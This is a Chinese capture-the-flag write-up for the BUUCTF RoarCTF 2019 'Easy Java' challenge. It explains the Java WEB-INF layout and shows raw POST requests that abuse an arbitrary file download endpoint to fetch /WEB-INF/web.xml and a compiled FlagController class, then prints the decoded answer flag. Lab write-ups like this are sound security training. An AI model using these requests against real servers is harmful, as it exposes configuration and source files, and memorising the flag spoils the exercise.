> 技术文档 > BUUCTF在线评测-练习场-WebCTF习题[RoarCTF 2019]Easy Java1-flag获取、解析_buuctf中web[roarctf 2019]easy java题解

BUUCTF在线评测-练习场-WebCTF习题[RoarCTF 2019]Easy Java1-flag获取、解析_buuctf中web[roarctf 2019]easy java题解


解题思路

题目是JAVA,第一次做java的题啊...打开靶场

给了一个像sql注入的界面,但是其实是混淆视听的...

点击help,可以发现url还有报错界面

/Download?filename=help.docx
java.io.FileNotFoundException:{help.docx}

 这里url变成下载界面,并且接收了文件名的参数,报错显示是文件找不到。

这里比较明显提示的是文件包含漏洞了,参数名可控,就可以下载任意文件。

但是这题比较坑的地方来了,默认的help.docx其实是可以下载的,

拦截请求包、get请求改成POST,即可下载,下面是help的内容,没啥用:

这里贴一下JAVA的一些知识

WEB-INF 是 Java Web 应用程序(遵循 Servlet 规范) 中一个极其重要且特殊目录。它位于 Web 应用程序的根目录下(通常与你的 HTML 页面、图片等资源所在的目录同级),是 Servlet 容器(如 Tomcat, Jetty, WildFly 等)识别一个目录为有效 Web 应用程序的关键标志之一。

核心特性:

  1. 不可直接通过客户端访问: 这是 WEB-INF 目录最显著的特点。客户端(浏览器)无法通过 URL 直接访问 WEB-INF 及其子目录下的任何文件(.jsp.xml.class.jar.properties 等)。

    • 例如,如果你有一个 JSP 页面 securedPage.jsp 放在 /WEB-INF/ 下,用户尝试访问 http://yourserver.com/yourapp/WEB-INF/securedPage.jsp 会失败。容器会返回 404 (Not Found) 或 403 (Forbidden) 错误。

    • 目的: 保护敏感的后台代码(Java 类)、配置文件、库文件以及不希望用户直接请求的视图页面(如 JSP)不被外部窥探或直接调用。

  2. 容器专有目录: WEB-INF 目录下的内容仅供 Servlet 容器内部使用。容器在部署和运行应用时,会从这个目录加载必要的类、库和配置信息。

WEB-INF 目录的标准结构及其内容:

一个典型的 WEB-INF 目录包含以下子目录和文件:

  1. /WEB-INF/web.xml (部署描述符 - Deployment Descriptor):

    • 作用: 这是 Web 应用的核心配置文件。它是一个 XML 文件,定义了应用的各种组件及其行为。

    • 配置内容 (传统方式,部分已被注解替代):

      • Servlet 声明和映射: 定义 Servlet 类,并将其映射到 URL 模式。

      • Filter 声明和映射: 定义过滤器及其拦截的 URL 模式。

      • Listener 声明: 定义生命周期监听器、属性监听器等。

      • 上下文参数: 定义应用级别的初始化参数 ()。

      • 会话配置: 会话超时时间 ()。

      • 欢迎文件列表: 指定当用户访问目录路径时默认加载的文件 ()。

      • 错误页面映射: 指定特定 HTTP 错误码或异常类型对应的错误处理页面 ()。

      • 安全约束: 配置认证、授权和传输保证 ()。

      • MIME 类型映射: 扩展名到 MIME 类型的映射 ()。

    • 现代发展: Servlet 3.0+ 引入了注解(如 @WebServlet@WebFilter@WebListener),使得 web.xml 在很多场景下可以简化甚至省略(零配置)。但 web.xml 仍然用于定义那些无法用注解表达或需要覆盖注解的配置(如上下文参数、欢迎文件列表、错误页面、安全约束等),并且是兼容旧版本的标准方式。

  2. /WEB-INF/classes/ 目录:

    • 作用: 存放 Web 应用自身编译后的 Java 类文件(.class 文件)

    • 结构: 类文件必须按照其包结构放置。例如,一个类 com.example.MyServlet 对应的 .class 文件路径应该是 /WEB-INF/classes/com/example/MyServlet.class

    • 加载: Servlet 容器的类加载器会优先从这个目录加载应用特定的类。这是放置你的 Servlet、Filter、Listener、POJO、工具类等编译后代码的地方。

  3. /WEB-INF/lib/ 目录:

    • 作用: 存放 Web 应用依赖的 第三方 Java 库文件(.jar 文件)

    • 加载: Servlet 容器的类加载器会自动加载此目录下的所有 JAR 包。这些 JAR 包中的类对 Web 应用可见。

    • 重要性: 这是管理项目依赖的主要位置(除了容器本身提供的库)。例如,你使用的数据库驱动(JDBC jar)、日志框架(Log4j2/SLF4J jar)、JSON 处理库(Jackson/Gson jar)、Servlet/JSP API(如果容器未提供或需要特定版本)等都应放在这里。

这里可以指导web.xml是比较重要的文件,那么我们尝试可以通过我们发现的任意文件下载漏洞去下载这里的文件

/WEB-INF/web.xml
POST /Download?filename=/WEB-INF/web.xml HTTP/1.1Host: 5e83d8ef-7814-42ee-9bb5-9a25b90a49f0.node5.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://5e83d8ef-7814-42ee-9bb5-9a25b90a49f0.node5.buuoj.cn:81/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: JSESSIONID=5357A1CF9FF2B7F0C397185FC97DA6EBConnection: close

返回了各种路由以及类的信息

 

 这里可以看到最下面的那个类 是我们感兴趣的,因为有FLAG字眼出现了。

下面还定义了简易的路由访问,但是我们直接去访问/Flag会被拒绝访问。

还是得用任意文件下载,将类下载下来,这里需要用到上面说的类目录,保存了所有的类:

/WEB-INF/classes/

 然后根据com.wm.ctf.FlagController路由写一下目录即可:

/WEB-INF/classes/com/wm/ctf/FlagController.class
POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

 

在响应中可以发现base64编码的字符串

<ZmxhZ3s1ZWZjZTU1My0wNDJhLTRjZjItODBhZS0xOGZmNDBjZjg1NGR9Cg==

解码:

flag{5efce553-042a-4cf2-80ae-18ff40cf854d}

总结

一道基础的JAVA任意文件下载的题,流程比较简单,需要知道JAVA的一些基础知识,包括路由、类以及WEB-INF这个目录等等。但是GET改成POST那里不知道是为什么...

而且按照抓包去看的响应的base64编码复制不了,应该是乱码的原因,我看网上的WP的编码跟我很像,就去复制解码提交了一下,结果直接提示 提交的是别人的FLAG...行为已被记录。。我去密码的..

最后还是拦截包下载了一下类文件去复制解码提交的,坑啊....